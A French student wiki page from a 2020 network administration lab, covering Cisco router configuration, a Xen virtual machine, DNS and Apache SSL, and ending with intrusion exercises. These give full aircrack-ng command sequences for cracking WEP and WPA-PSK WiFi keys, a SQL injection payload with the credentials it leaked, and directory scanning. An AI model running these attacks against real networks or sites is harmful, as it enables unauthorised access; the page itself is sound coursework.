TP sysres IMA5sc 2020/2021 G14

De Wiki d'activités IMA
Révision datée du 6 novembre 2020 à 14:57 par Grouille (discussion | contributions) (Configuration d'Apache 2)

Plan d'adressage

Groupe Domaine Distribution IP (privée) IP (publique) VLAN IPV4 IPV4 6509-E IPV4 C9200 IPV4 Routeur IPV6
Groupe 14 oronge.site Debian 10 Buster 100.64.0.16 193.48.57.176 314 10.60.114.0/24 10.60.114.1 10.60.114.2 10.60.114.254 2001:660:4401:60bf::0/64

Installation réseau

Schéma global

Schéma de câblage

Notre groupe s'est occupé de l'installation du réseau. Nous avons mis en place les différentes liaisons physiques entre les serveurs et routeurs.
Nous avons obtenu le schéma de connexion ci-contre. Ensuite, nous avons paramétré les routeurs pour permettre la connexion avec les machines virtuelles de chaque groupe.

Configuration IPV4

Paramétrage des VLANs

6509-E

Dans un premier temps, on paramètre le routeur 6509-E placé en E306. Nous avons créé le VLAN 131 pour nous connecter au routeur de l'école.
Nous lui avons attribué une adresse routée et un port sur lequel est branchée la fibre venant du routeur de l'école.

enable
  conf t
    vlan 131
      name internet
      exit
    int vlan 131
      no shut
      ip address 192.168.222.12 255.255.255.248
      exit
    int te6/4
      no shut
      switchport mode access
      switchport access vlan 131
      exit
    exit
  write

Ensuite, nous avons créé le VLAN 333. Ce VLAN permet l'accès au routeur 6509-E depuis les VMs.
Il est donc connecté au port Te5/5 (10G) sur lequel est branchée un fibre venant du serveur capbreton.
De plus, étant donné que nous n'avons pas réussi à mettre en place un NAT en plus de l'OSPF, nous avons dû utiliser des adresses routées pour le routeur et les VMs.

enable
  conf t
    vlan 333
      name vm-ima5sc
      exit
    int vlan 333
      no shut
      ip address 100.64.0.1 255.255.255.0
      exit
    int te5/5
      no shut
      switchport mode access
      switchport access vlan 333
      exit
    exit
  write

9200

Pour mettre en place une redondance, nous utilisons deux routeurs. Sur ce deuxième routeur, nous avons également créé le VLAN 131 pour nous connecter au routeur de l'école.
Nous lui avons attribué une adresse routée et un port sur lequel est branchée la fibre venant du routeur de l'école.

enable
  conf t
    vlan 131
      name internet-ima5sc
      exit
    int vlan 131
      no shut
      ip address 192.168.222.13 255.255.255.248
      exit
    int Gi1/0/1
      no shut
      switchport mode access
      switchport access vlan 131
      exit
    exit
  write

Ensuite, nous avons créé le VLAN 333. Ce VLAN permet l'accès au routeur 9200 depuis les VMs.
Il est donc connecté au port Te1/1/3 (10G) sur lequel est branchée un fibre venant du serveur capbreton.

enable
  conf t
    vlan 333
      name vm-ima5sc
      exit
    int vlan 333
      no shut
      ip address 100.64.0.2 255.255.255.0
      exit
    int te1/1/3
      no shut
      switchport mode access
      switchport access vlan 333
      exit
    exit
  write

Paramétrage de l'OSPF

Fait avec le groupe 1

Pour permettre la transmission de la table de routage de nos routeurs aux autres routeurs utilisés, et pour récupérer leurs tables, nous avons mis en place l'OSPF.
Étant donné le problème avec le NAT (expliqué dans la section suivante), nous utilisons des adresses routées, donc cette partie n'est pas utile pour notre TP pour l'instant.

6509-E

router ospf 1                                          # un numéro de processus                                                                                                         
 router-id 10.60.100.1                                   # un id pour le routeur (plus petite adresse disponible)
 log-adjacency-changes                                                                                  
 summary-address 193.48.57.176 255.255.255.240         # réseau routé, que l'on souhaite diffuser aux voisins                                                                                                      
 summary-address 100.64.0.0 255.240.0.0 not-advertise  # réseau local, sur lequel se trouvent les VMs, que l'on ne souhaite pas diffuser aux voisins
 summary-address 10.0.0.0 255.0.0.0 not-advertise      # réseau local, que l'on ne souhaite pas diffuser aux voisins                                                                                                        
 redistribute connected subnets                        # autorise la diffusion des routes connectées
 redistribute static subnets                           # autorise la diffusion des routes statiques                                                    
 network 192.168.222.8 0.0.0.7 area 2                  # domaine de diffusion OSPF

9200

router ospf 1                                                                                                                                    
 router-id 10.60.100.2                                   # on change simplement l'id du routeur par rapport au 6509-E
 log-adjacency-changes                                                                                  
 summary-address 193.48.57.176 255.255.255.240                                                                                                         
 summary-address 100.64.0.0 255.240.0.0 not-advertise  
 summary-address 10.0.0.0 255.0.0.0 not-advertise                                                                                                    
 redistribute connected subnets                       
 redistribute static subnets                                                                                                                         
 network 192.168.222.8 0.0.0.7 area 2

Paramétrage du NAT

Fait avec le groupe 1

Afin de connecter notre réseau privé sur lequel se trouvent les VMs, nous avons besoin que nos routeurs fassent du NAT.
Nous souhaitons que notre réseau 100.64.0.0 soit transposé dans le réseau 193.48.15.176.
Nous avons vu dans la partie OSPF que le réseau 193.48.57.176 été partagé, il correspond donc aux IP publiques (chacune correspond à une IP locale privée).

enable
  configure terminal
    ip nat inside source static network 100.64.0.16 193.48.57.176 /28
    int vlan 333
      ip nat inside
      exit
    int vlan 131
      ip nat outside
      exit
    exit
  write

Il faut ajouter : copy running-config startup-config pour enregistrer les modifications du NAT. (Configure Interfaces Cisco, Configure NAT Cisco)

Problèmes rencontrés

Lors de la mise en place des différents VLANs, nous avons rencontré plusieurs problèmes. Nous décrivons ici comment nous les avons résolu.

Interface en mode bloquée

Lors de l'utilisation de la commande sh spanning-tree vlan xxx, nous avons des informations sur les différents ports du VLAN souhaité.
Sur le routeur 6509-E, nous avions le port Te5/5 bloqué (BLK) sur le VLAN 333.
Pour résoudre ce problème, nous avons relancer ce port en faisait un shut puis un no shut.
Le port est alors passé de l'état BLK (block) à LST (listen), puis LRN (learn), et enfin FWD (forward), l'état recherché.

Spanning tree instance(s) for vlan 333 does no exist

Pour résoudre ce problème, nous avons changé le mode du spanning-tree avec la commande spanning-tree mode mst

OSPF & NAT

L'OSPF mis en place fonctionne correctement seul. La translation d'adresses IP privée vers publique du NAT semble fonctionnait car la commande sh ip nat translations affiche bien le résultat souhaité. Cependant, l'association des 2 systèmes ne fonctionne pas correctement. Nous avons tenté de résoudre le problème de deux façons, sans succès.

Forum avec les solutions

  • Interface loopback
enable
  conf t
    int loopback 0
      ip ospf network point-to-point
      ip address 193.48.57.190 255.255.255.240
      exit
    exit
  write

Nous avons précisé à l'interface une adresse IP en .190 mais le réseau OSPF est 192.168.222.8/29, peut-être que notre problème vient de là.
Nous devons sûrement ajouter dans l'OSPF le réseau 193.48.57.176/28 (Forum source).

  • Route vers Null0
enable
  conf t
    ip route 193.48.57.176 255.255.255.240 Null 0
    exit
  write

Là encore, nous avons précisé le réseau 193.48.57.176/28 mais le réseau OSPF est 192.168.222.8/29.
On effectue également le commande redistribute static subnets sans les arguments route-map et ospf.

Solution alternative

On modifie l'IP du vlan 333 :

ip address 100.64.0.1 255.255.255.0

On ajoute une route statique :

ip route 193.48.57.176 255.255.255.255 10.64.0.16

On modifie le fichier /etc/network/interfaces des VM :

iface eth0 inet static
 address 193.48.57.176
 netmask 255.255.255.255
 up ip address add dev eth0 100.64.0.16/24
 up ip route add default via 100.64.0.2 src 193.48.57.176
 down ip address del dev eth0 100.64.0.16/24
 down ip route del default via 100.64.0.2 src 193.48.57.176

VRRP

Fait avec le groupe 1
Pour ceux qui voudraient paramétrer leur vlan, merci de ne pas toucher aux vlans 333 et 314. Configurer votre vlan (voir page commune).

Routeur 6509-E

Vlan 333

(config)#vlan 333
(config-if)#vrrp 33 ip 100.64.0.254
(config-if)#vrrp 33 preempt
(config-if)#vrrp 33 priority 110
(config-if)#exit

Vlan 314

(config)#vlan 314
(config-if)#vrrp 54 ip 10.60.114.254
(config-if)#vrrp 54 preempt
(config-if)#vrrp 54 priority 110
(config-if)#exit
(config)#exit

Routeur C9200

Vlan 333

(config)#vlan 333
(config-if)#vrrp 33 address-family ipv4
(config-if-vrrp)#address 100.64.0.254
(config-if-vrrp)#preempt
(config-if-vrrp)#exit
(config-if)#exit

Vlan 314

(config)#vlan 314
(config-if)#vrrp 54 address-family ipv4
(config-if-vrrp)#address 10.60.114.254
(config-if-vrrp)#preempt
(config-if-vrrp)#exit
(config-if)#exit
(config)#exit

Commandes utiles

  • sh vlan  : donne des informations sur l'ensemble des VLANs (ports connectés, état, nom) ;
  • sh int vlan xxx  : donne des informations sur le VLAN xxx (adresse IP, etc.) ;
  • sh int status  : donne des informations sur les différentes interfaces (port, état, vlan, vitesse, type) ;
  • sh cdp neighbors  : donne des informations sur les différents ports et sur l'interface sur laquelle ils sont connectés ;
  • sh run [int {vlan xxx, port}] : donne des informations sur l'état actuel de toutes les interfaces, vlan, etc. ou de l'élément sélectionné ;
  • sh ip route  : liste les routes ;
  • debug ip nat  : liste les échanges du routeurs avec les adresses issues du NAT.

Configuration IPV6

Fait avec le groupe 1
Pour ceux qui voudraient paramétrer leur vlan, ne réalisez que la partie "Vlan privée" en utilisant votre vlan.

Routeur 6509-E

> en
# conf t
(config)# ipv6 unicast-routing

Liaison avec l'ISR4331

A faire en IPV4 et IPV6

Liaison avec capbreton

(config)#int vlan 333
(config-if)#ipv6 address 2001:660:4401:60b2::/60 (eui-64)
(config-if)#ipv6 nd prefix 2001:660:4401:60b2::/60 1000 900
(config-if)#ipv6 nd router-preference High
(config-if)#exit
(config)#exit

Vlan privé

(config)#vlan 314
(config-if)#name oronge.site
(config-if)#exit
(config)#int vlan 314
(config-if)#no shut
(config-if)#ip address 10.60.114.1 255.255.255.0
(config-if)#ipv6 enable
(config-if)#ipv6 address 2001:660:4401:60bf::/64 eui-64
(config-if)#ipv6 nd prefix 2001:660:4401:60bf::/64 1000 900
(config-if)#ipv6 nd router-preference High
(config-if)#exit
(config)#exit

RIP

(config)#ipv6 router rip tpima5sc
(config-rtr)#redistribute connected metric 1
(config-rtr)#redistribute rip 1 metric 1
(config-rtr)#redistribute static metric 1
(config-rtr)#exit
(config)#vlan 131
(config-if)#ipv6 enable
(config-if)#ipv6 address fe80::21 link-local
(config-if)#ipv6 rip tpima5sc enable
(config-if)#exit
(config)#exit
#write
#exit

Routeur C9200

> en
# conf t
(config)# ipv6 unicast-routing

Liaison avec l'ISR4331

A faire en IPV4 et IPV6

Liaison avec capbreton

(config)#int vlan 333
(config-if)#ipv6 enable
(config-if)#ipv6 address 2001:660:4401:60b2::/64 eui-64
(config-if)#ipv6 nd prefix 2001:660:4401:60b2::/64 1000 900
(config-if)#ipv6 nd router-preference Low
(config-if)#exit

Vlan privé

(config)#vlan 314
(config-if)#name oronge.site
(config-if)#exit
(config)#int vlan 314
(config-if)#no shut
(config-if)#ip address 10.60.114.2 255.255.255.0
(config-if)#ipv6 enable
(config-if)#ipv6 address 2001:660:4401:60bf::/64 eui-64
(config-if)#ipv6 nd prefix 2001:660:4401:60bf::/64 1000 900
(config-if)#ipv6 nd router-preference Low
(config-if)#exit

RIP

(config)#ipv6 router rip tpima5sc
(config-rtr)#redistribute connected metric 2
(config-rtr)#redistribute rip 1 metric 2
(config-rtr)#redistribute static metric 2
(config-rtr)#exit
(config)#vlan 131
(config-if)#ipv6 enable
(config-if)#ipv6 address fe80::22 link-local
(config-if)#ipv6 rip tpima5sc enable
(config-if)#exit
(config)#exit
#write
#exit

Mise en place de la machine virtuelle

Création de la machine virtuelle Xen

Afin de créer notre machine virtuelle Xen Linux sur le domaine capbreton.plil.info, nous avons besoin de plusieurs données. Premièrement, un nom de domaine : étant basé sur le thème des champignons, nous avons choisi l'oronge, champignon rare et considéré comme le meilleur qui soit d'un point de vue gustatif. Concernant l'adresse IP, après répartition nous nous sommes vu attribuer l'adresse IP 100.64.0.28. L'adresse IP du routeur 6509E est 100.64.0.5 et le masque de sous-réseau 255.255.255.0 (car 100.64.0.1/24). Nous indiquons le répertoire où les disques virtuels doivent être créés : /usr/local/xen. Enfin, nous choisissons le mot de passe (pasglop) ainsi que la distribution : debian buster étant la dernière distribution stable.

Ce qui donne la commande suivant à entrer sur le domaine capbreton (après s'y être connecter en ssh) :

root@capbreton:~# xen-create-image --hostname=oronge --ip=100.64.0.28 --gateway=100.64.0.5 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

Attribution des LVM

Pour se voir attribuer deux LV de 10Go chacun, il est d'abord nécessaire de créer un groupe de volumes storage sur capbreton : nous réunissons les disques sde et sdf de 2.7To chacun.

root@capbreton:~# vgcreate storage /dev/sde /dev/sdf

Voici les informations sur le VG :

 --- Volume group ---
 VG Name               storage
 System ID
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  45
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                26
 Open LV               22
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       66560 / 260.00 GiB
 Free  PE / Size       1363966 / 5.20 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc

Ensuite, nous partitionnons ce groupe en LV de 10Go. Pour oronge, nous les appelerons oronge1 et oronge2 :

 root@capbreton:~# lvcreate -L10G -n oronge1 storage
 root@capbreton:~# lvcreate -L10G -n oronge2 storage

Voici les informations sur nos LVs :

 --- Logical volume ---
 LV Path                /dev/storage/oronge1
 LV Name                oronge1
 VG Name                storage
 LV UUID                dWsljG-AeF5-FvMB-Hnta-6iq1-UGfR-qz6Xw2
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:40:47 +0100
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:22
 --- Logical volume ---
 LV Path                /dev/storage/oronge2
 LV Name                oronge2
 VG Name                storage
 LV UUID                X6zWib-XQ3C-bWFT-Zwjd-ZsF6-Ow9d-rA5BGf
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:40:50 +0100
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:23

Il est nécessaire pour nous de les formater au format ext4 avec la commande mkfs :

root@capbreton:~# mkfs.ext4 /dev/storage/oronge1
root@capbreton:~# mkfs.ext4 /dev/storage/oronge1

Configuration des LV

Pour indiquer à notre machine virtuelle qu'elle possède les volumes logiques oronge1 et oronge2, nous modifions le fichier de configuration de celle-ci en y ajoutant les deux lignes en gras dans la fonction disk=[] dans notre fichier oronge.cfg :

disk        = [
               'file:/usr/local/xen/domains/oronge/disk.img,xvda2,w',
               'file:/usr/local/xen/domains/oronge/swap.img,xvda1,w',
               'phy:/dev/storage/oronge1,xvda3,w',
               'phy:/dev/storage/oronge2,xvda4,w'
             ]

Nous lançons ensuite notre machine virtuelle (xl create -c /etc/xen/oronge.cfg) afin de mettre les répertoires home et var soient sur les partitions LVM de l'hôte.

Dans un premier temps nous montons nos deux disques "manuellement" afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@oronge:~# mount /dev/xvda3 /mnt/xvda3
root@oronge:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire var dans le disques xvda4 :

root@oronge:~# mv /var/* /mnt/xvda4

Puis nous démontons (umount) nos deux volumes. Nous modifions le fichier /etc/fstab afin de monter correctement nos disques :

# mettre répertoire /home de la VM oronge dans la partition LVM oronge1
/dev/xvda3 /home ext4 defaults 0 2
# mettre  répertoire /var de la VM oronge dans la partition LVM oronge2
/dev/xvda4 /var ext4 defaults 0 2

Enfin nous les montons avec la commande mount -a, permettant de monter tous les systèmes de fichiers tel qu'indiqué dans fstab.

Voici le résultat, obtenu avec la commande lsblk :

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Connexion à la machine virtuelle

On peut visualiser les VMs lancées grâce à la commande :

xen list

On peut se connecter à notre VM avec la commande :

xen console oronge

Configuration des DNS

Configuration ok le 02/11/2020

Prérequis

Sur le site gandit.net, nous avons fait quelques manipulations : 1. Ajouter un DNS dans Glue Records : ns1.oronge.site | 193.48.57.176 2. Ajouter ce DNS dans Serveurs de noms 3. Ajouter comme DNS secondaire au premier DNS : ns6.gandi.net

Configuration de bind

1. Installation des paquets

apt install bind9

2. Changer le fichier /etc/resolv.conf

nameserver 127.0.0.1

3. Configuration du DNS primaire dans la zone oronge.site

On ajoute une zone (oronge.site) de type master et le chemin de son fichier de configuration.
On permet le transfert des informations au DNS secondaire d'IP 217.70.177.40.

Dans le fichier /etc/bind/named.conf.local :

zone "oronge.site" IN {
        type master;
        file "/etc/bind/db.oronge.site";
        allow-transfer { 217.70.177.40; };
};

4. Configuration de la zone oronge.site

On ajoute :

  • 2 NS (ns1.oronge.site & ns6.gandi.net)
  • 1 A (ns1 : 193.48.57.176)

On modifie :

  • localhost : ns1.oronge.site
  • root.localhost : postmaster.oronge.site

On incrémente le numéro de série pour que le DNS secondaire de gandi récupère les informations du DNS primaire.

Dans le fichier /etc/bind/db.oronge.site

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.oronge.site. postmaster.oronge.site. (
                              4         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.oronge.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.176

Vérifications

host -t any oronge.site ns6.gandi.net
Using domain server:
Name: ns6.gandi.net
Address: 2001:4b98:d:1::40#53
Aliases:

oronge.site name server ns1.oronge.site.
oronge.site name server ns6.gandi.net.
oronge.site has SOA record ns1.oronge.site. postmaster.oronge.site. 4 604800 86400 2419200 604800
tail -50 /var/log/daemon.log
Nov  2 16:40:28 oronge named[519]: zone oronge.site/IN: sending notifies (serial 4)
grep AXFR /var/log/daemon.log
Nov  2 15:11:59 oronge named[682]: client @0x7f3ba00d5b80 217.70.177.40#33645 (oronge.site): transfer of 'oronge.site/IN': AXFR started (serial 4)
Nov  2 15:11:59 oronge named[682]: client @0x7f3ba00d5b80 217.70.177.40#33645 (oronge.site): transfer of 'oronge.site/IN': AXFR ended


Sécurisation du site par certificat SSL

Prérequis

1. Générer les clés privées et publiques

Sur la machine virtuelle, dans le dossier /etc/ssl/, nous avons générer les fichiers .csr (clé publique) et .key (clé privée).

openssl req -nodes -newkey rsa:2048 -sha256 -keyout oronge.site.key -out oronge.site.csr

Nous avons placé le fichier .key dans /etc/ssl/private/.

Sur gandi.net, il faut faire une demande de signature (gandi signe le .csr, ce qui donne lieu à un .crt).
Pour cela, il faut suivre cette procédure :

  • Dans l'étape 2.1, il faut sélectionner Ailleurs -> Standard -> Une adresse (12€, le prix facturé sera de 0€)
  • Copier le contenu du fichier .csr
  • Suivre les indications et choisir le mode de validation par DNS.

Nous avons ajouté un enregistrement CNAME à notre DNS, c'est-à-dire dans le fichier /etc/bind/db.oronge.site :

_D02D6E81015AC4C912452A293FC44F3B.oronge.site. 10800 IN CNAME 53C1F9632BC71285903C42E79FB9786F.1FAD6B9FAF636C3B81697C2DAF265A8A.ae93f6696a2a89b67aa6.comodoca.com.

A la suite de ces étapes, le certificat est disponible au téléchargement depuis le site de gandi (fichier .crt) que l'on place dans /etc/ssl/certs/.
On télécharge également le certificat intermédiaire de gandi : GandiStandardSSLCA2.pem que l'on place également dans /etc/ssl/certs/.

Configuration d'Apache 2

1. Activation du module SSL

a2enmod ssl

2. Configuration du port 443

Dans le fichier /etc/apache2/ports.conf, il y avait :

Listen 80

<IfModule ssl_module>
       Listen 443
</IfModule>

<IfModule mod_gnutls.c>
        Listen 443
</IfModule>

Nous avons supprimé le premier if module et nous avons ajouté :

<IfModule mod_ssl.c>
        Listen 443
</IfModule>

3. Création de liens symboliques pour les certificats

c_rehash /etc/ssl/certs

La sortie de cette commande est celle-ci :

Doing /etc/ssl/certs
WARNING: Skipping duplicate certificate ca-certificates.crt
WARNING: Skipping duplicate certificate ca-certificates.crt

4. Hôtes virtuels

Nous avons créé le répertoire /var/www/oronge.site/

Nous avons créé le fichier /etc/apache2/sites-available/000-oronge.site-ssl.conf dans lequel nous avons mis :

<VirtualHost 193.48.57.176:443>
        ServerName oronge.site
        ServerAlias oronge.site
        DocumentRoot /var/www/oronge.site/
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/oronge.site.crt
        SSLCertificateKeyFile /etc/ssl/private/oronge.site.key
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem
        SSLVerifyClient None
</VirtualHost>

Nous avons activé le site ssl :

a2ensite 000-oronge.site-ssl

5. Configuration d'Apache2

Dans le fichier /etc/apache2/apache2.conf

ServerName oronge.site

Tests

Nous utilisons openssl pour tester la configuration :

openssl s_client -connect 193.48.57.176:443
CONNECTED(00000003)
Can't use SSL_get_servername
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
verify return:1
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
verify return:1
depth=0 CN = oronge.site
verify return:1
---
Certificate chain
 0 s:CN = oronge.site
   i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
 1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
   i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
subject=CN = oronge.site

issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 3546 bytes and written 363 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 171C939E26D93A5C8393881A1013AB3FD2CED2A69128876F602C47CFA43874B4
    Session-ID-ctx:
    Resumption PSK: FF325930CD622F7D36388302F5D541F2659C185B1CF1B5E6F3767EAF03384796675F096265803E00336405A7F8220B3A
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 60 11 68 3d fd 11 1a 6a-78 1b 06 97 eb ef 51 9c   `.h=...jx.....Q.
    [...]
    00d0 - b5 11 76 b4 9c e2 8e 78-9a 0d 93 a0 4e 53 c5 67   ..v....x....NS.g 

    Start Time: 1604668268
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 5D7DF992E61E84BD1BE52C35885D472355AED388845BB81739993089FFA8C407
    Session-ID-ctx:
    Resumption PSK: 829CDE5C732BCA246DA5A3F364606A79B72D928440A8C2773E408862B85391E3555CE2C1EE509E0EB3FCF854AB5A807B
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 60 11 68 3d fd 11 1a 6a-78 1b 06 97 eb ef 51 9c   `.h=...jx.....Q.
    [...]
    00d0 - c5 93 5c 47 b0 2a 48 72-97 33 16 9f 61 d4 5b 1f   ..\G.*Hr.3..a.[.

    Start Time: 1604668268
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK

Nous avons également tester Apache2 :

apachectl configtest
Syntax OK

Configuration IPV6

Ajouter dans /etc/network/interfaces :

iface eth0 inet6 auto

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

La première étape est de paramétrer notre carte réseau en mode moniteur. Le mode moniteur est un mode qui permet d'écouter chaque paquet qui se promène dans l'air : l'écoute de ces paquets nous permettra d'effectuer des injections ensuite. Pour ce faire, il nous faut tout d'abord le nom de notre interface :

airmon-ng nous retourne notre interface réseau (WiPi) : wlx40a5ef0127d0

Nous démarrons ensuite notre interface en mode moniteur sur le channel 3 :

airmon-ng start wlx40a5ef0127d0 3

Afin de cracker la clef WEP d'un point d'accès, il est nécessaire pour nous de le choisir est de récupérer son BSSID :

airodump-ng wlx40a5ef0127d0 nous permet d'écouter tous les paquets dans l'air

Nous choisissons alors la cracotte12 et récupérons son BSSID : 04:DA:D2:9C:50:5B. Pour vérifier que nous sommes assez proche du point d'accès, on effectue un test d'injection qui doit nous retourner un pourcentage proche de 100% :

aireplay-ng -9 -e cracotte12 -a 04:DA:D2:9C:50:5B wlx40a5ef0127d0

-9 : mode injection
-e cracotte12 : nom du point d'accès
-a 04:DA:D2:9C:50:5B : bssid du point d'accès

Dans une console, on capture ensuite les VI générés par le point d'accès afin de les stocker dans un fichier output :

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:5B -w output wlx40a5ef0127d0

-c 3 : canal de communication du point d'accès
-w output : préfixe de nom de fichier de sortie

Une fois cette commande lancée, dans un autre terminal nous associons notre interface réseau avec le point d'accès. Il est nécessaire de passer par une fausse authentification pour cela :

aireplay-ng -1 0 -e cracotte12 -a 04:DA:D2:9C:50:5B -h 40:A5:EF:01:27:D0 wlx40a5ef0127d0

-1 : mode "fake authentification"
0 : délai entre les demandes d'authentifications
-h 40:A5:EF:01:27:D0 : bssid de l'interface réseau

A noter qu'il est nécessaire de laisser la capture des VI tourner assez longtemps pour avoir assez de contenu pour cracker la clef WEP.

La clef WEP est ensuite décriptable grâce à la commande aircrack-ng et aux fichiers output :

aircrack-ng -b 04:DA:D2:9C:50:5B output*.cap

Lorsque tout est correctement exécuté nous obtenons le résultat suivant :

KEY FOUND! [ F1:DE:D4:00:00:00:00:FF:FF:FF:FF:FF:FF ] 
Decrypted correctly: 100%

Cassage de clef WPA-PSK d’un point d’accès WiFi

La première étape est de paramétrer notre carte réseau en mode moniteur. Le mode moniteur est un mode qui permet d'écouter chaque paquet qui se promène dans l'air : l'écoute de ces paquets nous permettra d'effectuer des injections ensuite. Pour ce faire, il nous faut tout d'abord le nom de notre interface :

airmon-ng nous retourne notre interface réseau (WiPi) : wlx40a5ef0127d0

Nous démarrons ensuite notre interface en mode moniteur sur le channel 9 :

airmon-ng start wlx40a5ef0127d0 9

Afin de cracker la clef WEP d'un point d'accès, il est nécessaire pour nous de le choisir est de récupérer son BSSID :

airodump-ng wlx40a5ef0127d0 nous permet d'écouter tous les paquets dans l'air

On choisit la kracotte04 ayant pour bssid : 00:14:1B:60:8C:23

On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake provoqué par la connexion d'un Rasberry sur le point d'accès (programmé par le professeur) dans un fichier psk :

airodump-ng -c 9 --bssid 00:14:1B:60:8C:23 -w psk wlx40a5ef0127d0

A noter qu'il est nécessaire de laisser la capture des VI tourner quelques minutes pour capturer un handshake.

Une fois le Handshake capturé, il est nécessaire de créer un dictionnaire contenant toutes les combinaisons de 8 chiffres possible (format de la clef WPA-PSK), nous utilisons l'utilitaire crunch :

crunch 8 8 0123456789 -o password.lst
8 8 : tailles minimum et maximum de la clef
0123456789 : liste des caractères ouvant être contenu dans un "mot"
-o password.lst : fichier de sortie dans lequel stocker le dictionnaire


La clef WPA-PSK est ensuite décriptable grâce à la commande aircrack-ng, au dictionnaire et aux fichiers psk. Le Handshake et le dictionnaire vont permettre la comparaison de toutes les combinaisons afin de trouver la bonne :

aircrack-ng -w password.lst -b 00:14:1B:60:8C:23 psk*.cap

Lorsque tout est correctement exécuté nous obtenons le résultat suivant :

KEY FOUND! [ ******** ] (complété à la fin)
Master Key     : 2D 1E 30 8D AA 30 91 7A 5D AB B5 80 02 FB 16 3F 
                 9B DB 91 AC A5 76 4A 33 31 8B D3 7B AC 5A DB A7 

Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

EAPOL HMAC     : E6 17 FE C7 E3 14 F0 B9 68 99 97 86 07 41 DA E8

Intrusion sur un serveur d'application Web

Intrusion réussie le 19 octobre 2020

root@honey:~# ls -l
total 12
-rw-r--r-- 1 root root 25 Oct 19 19:30 Grp14
-rw-r--r-- 1 root root 32 Oct 19 19:15 Sam_Et_Pierre_Sont_Des_Imposteurs
-rw-r--r-- 1 root root 20 Oct 19 19:08 TMVwash3r3

1. Injection SQL

Dans un navigateur, on ouvre la page http://honey.plil.info.
Pour obtenir la liste des identifiants et mots de passe de l'application, on va utiliser une injection SQL.

' OR 1 = 1 --

Le fonction de l'injection est simple, prenons par exemple la requête SQL :

SELECT * FROM USERS WHERE ID='$id' AND PWD='$pwd'

Si on entre dans les champs Id et Password l'injection SQL, la requête deviendra :

SELECT * FROM USERS WHERE ID=‘‘ or 1 = 1 --' AND PWD= or 1 = 1 --'

Ainsi, on va commenter les apostrophes avec -- et ajouter un or avec une condition toujours vraie pour récupérer toutes les infos sur les identifiants et mots de passe.

Nous avons obtenu le tableau suivant, nous donnant des informations de connexion au site Web :

ID Password Groupe Nom
admin jesuislechef admin Administrateur
brutus test brute Brutus le cleb's
pifou pasglop normal Pifou le chiot
tmv tmv root TMV

2. Analyse du serveur

Ensuite, nous avons analysé le serveur web avec l'outil dirb :

dirb http://honey.plil.info

Peu après le lancement de la commande, nous avons remarqué la présence du répertoire phpmyadmin sur le serveur.
